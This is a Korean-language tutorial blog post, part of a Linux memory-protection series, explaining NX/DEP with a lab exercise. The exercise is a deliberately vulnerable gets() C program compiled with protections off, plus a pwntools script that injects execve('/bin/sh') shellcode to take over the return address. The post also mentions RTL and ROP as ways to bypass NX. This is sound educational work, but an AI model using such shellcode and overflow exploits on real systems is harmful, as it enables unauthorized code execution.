[linux] 3. NX(with DEP)에 대하여

두비니

·

2020. 10. 13. 18:47

 

 


NX(with DEP)

Non-Executable / Data Execution Protection

Linux Memory Protection - 3

 


 

 

 

1. What is NX/DEP?

NX와 DEP는 둘 다 같은 개념의 보호기법으로 각각 Non executable과 Data Execution Protection의 약자입니다. 각각의 의미를 읽어보면 한 마디로 '실행시키지 않는다'입니다. 좀 더 자세히 말하자면 'heap과 stack과 같이 buffer overflow 공격에 이용되는 메모리 공간에 있는 코드를 실행시키지 않는다'는 것이죠. 즉 쉽게 말해 쉘코드를 버퍼에 삽입해도 실행시키지 않는다는 뜻입니다.

 

NX와 DEP의 차이점은 단순히 DEP는 같은 개념이지만 윈도우 플랫폼에서 사용되는 보안 기술이라고 보면 됩니다.

 

이 공격기법을 사용할 경우 버퍼에 할당된 메모리 공간의 크기보다 더 많은 데이터를 저장하여 메모리 기반에서 특정 코드를 실행시키는 Buffer Overflow, 그리고 Heap Spray 등의 기법을 사용할 수 없게 됩니다. 

만약 NX가 적용된 상태에서 Buffer Overflow같은 공격을 시도할 경우, 프로그램이 코드 실행 불가 영역(Stack, Heap)에서 코드 실행이 이루어질 때는 예외처리를 거쳐 프로그램을 종료시켜버립니다.

 

2. Training

 

솔직히 실습으로 직접 확인하는게 짱입니다. 이번에도 Canary때와 동일한 코드를 사용하도록 할게요

 

#include <stdio.h>
#include <stdlib.h>

/*

	*NX OFF*
	gcc -m32 -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector nx.c -o nxOFF 
	*NX ON*
	gcc -m32 -mpreferred-stack-boundary=2 -fno-stack-protector nx.c -o nxON

*/

int main()
{
	char buf[256];

	printf("addr : %p\n", buf);
	gets(buf);

	return 0;
}

 

컴파일 옵션에 대한 설명입니다

 

  • -m32 : 32비트로 컴파일
  • -mpreferred-stack-boundary=2 : 스택 간 더미 없애는 옵션
  • -fno-stack-protector : canary를 끄는 옵션
  • -z execstack : stack/heap영역에 실행 권한을 주는 옵션

즉, NX는 따로 설정을 안해주면 기본적으로 적용됩니다. 그럼 각각 nxON과 nxOFF의 차이점을 봅시다.

 

 

nx는 간단히 gdb-peda에서 checksec명령어로 확인할 수 있습니다. 그러면 직접 exploit을 해보면서 차이점을 알아봅시다. 위 코드는 간단하게 buf에 쉘코드를 삽입한 뒤, ret주소를 buf의 주소로 바꾸면 익스가 되는 매우 간단한 프로그램입니다. 

 

 

+) 코드 추가합니다.

만약 아직 pwntools가 어색하다면, 직접 \x90 10개, 쉘코드, 등 쭉 붙여서 보내도 상관없습니다. 그냥 귀찮아서 페이로드 짠거 뿐입니당

from pwn import *

#p = process("./nxOFF")
p = process("./nxON")

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

p.recvuntil("addr : ")

buf_addr = int(p.recv(10), 16)

pay = ''
pay += "\x90"*0x10
pay += shellcode
pay += "\x90"*215
pay += "A"*0x4
pay += p32(buf_addr)

p.sendline(pay)

p.interactive()

 

그래서 다음과 같이 페이로드를 작성하고 nxOFF에 실행시켜보면?

 

 

다음과 같이 nxOFF는 잘 익스된걸 알 수 있습니당

근데 같은 페이로드를 nxON프로그램에 넣는다면?

 

 

이렇게 실행되지 않고 에러가 발생하는 것을 확인할 수 있습니다.

둘 다 $사인이 떠서 익스된게 아니냐고 할 수도 있지만, nxON의 경우에는 EOF, 즉 에러가 발생했다는 것을 알 수 있으며, 각 상태에서 q를 입력했을 때 nxOFF에서는 /bin/sh로 접속되어있는 것을 확인할 수 있지만, nxOFF는 그렇지 않다는 것 또한 볼 수 있습니다. 이렇게 NX에 대해서 실습을 통해 알아봤습니다!

 

3. Exploit Technique?

 

 

NX 및 DEP는 결국 Stack이나 Heap영역에 의미있는 코드/주소가 오더라도 명령으로 생각하지 않게 됩니다. 그렇다면 Stack이나 Heap을 사용하지 않고, Library영역에 있는 함수들로만 사용을 하는 RTL(Return To Library)기법을 사용할 경우 우회가 가능해집니다. 모르시는 분은 아래 링크 참고!

 

참고 : shayete.tistory.com/entry/4-Return-to-Library-RTL

 

4. Return to Library (RTL)

Shayete입니다. 4번째 시간에는 최신환경의 우분투에서 Return to library 기법을 학습하겠습니다. Return to Libc 기법은 말 그대로, 라이브러리의 함수로 리턴해서 그 함수를 실행할 수 있습니다. 가령, �

shayete.tistory.com

 

참고로 여기에다가 ASLR도 적용되어있다면 ROP를 사용하면 됩니다. 물론 NX만 걸려있어도 ROP를 쓸 수는 있지만, RTL만 이해하고 가도 충분하다고 생각합니다

 

 


 

0. Abstract : dokhakdubini.tistory.com/297

 

[linux] 메모리 보호기법 - abstract

이번주는 메모리 보호기법에 대해서 서술해보려고 합니다. 일단 메모리 보호기법 자체에 대한 정의를 알아봅시다. 메모리 보호는 컴퓨터 메모리의 사용을 제어하는 방법이며 모든 운영 체제에

dokhakdubini.tistory.com

 

1. ASLR(Address Space Layout Randomization) : dokhakdubini.tistory.com/298

 

[linux] ASLR(Adress Space Layout Randomization)에 대하여

ASLR Address Space Layout Randomization 1. What is ASLR? 자 오늘은 리눅스 메모리 보호기법 첫 번째 입니다. ASLR에 대해서 배워 볼 건데요, 일단 ASLR이란 Address Space Layout Randomization의 줄임말입니..

dokhakdubini.tistory.com

2. Canary : dokhakdubini.tistory.com/299

 

[linux] Canary에 대하여

Canary Linux Memory Protection - 2 1. What is Canary? **Stack Smashing Detected** 빼앵앵애ㅐㅇ애에에ㅔㅔㄱ Canary기법이란 'buffer와 SFP(Stack Frame Pointer) 사이에 buffer overflow를 탐지하기 위한 임..

dokhakdubini.tistory.com

3. NX(with DEP) <---- You are HERE

 

4. PIE : dokhakdubini.tistory.com/304

 

[linux] 4. PIE에 대하여

PIE Position Independent Execution Linux Memory Protection - 4 1. What is PIE? 리눅스 보호기법의 마지막, PIE입니다. 우선 PIE는 Position Independent Execution의 약자로, 해석하면 "위치 독립 실행"이라..

dokhakdubini.tistory.com

5. ASCII ARMOR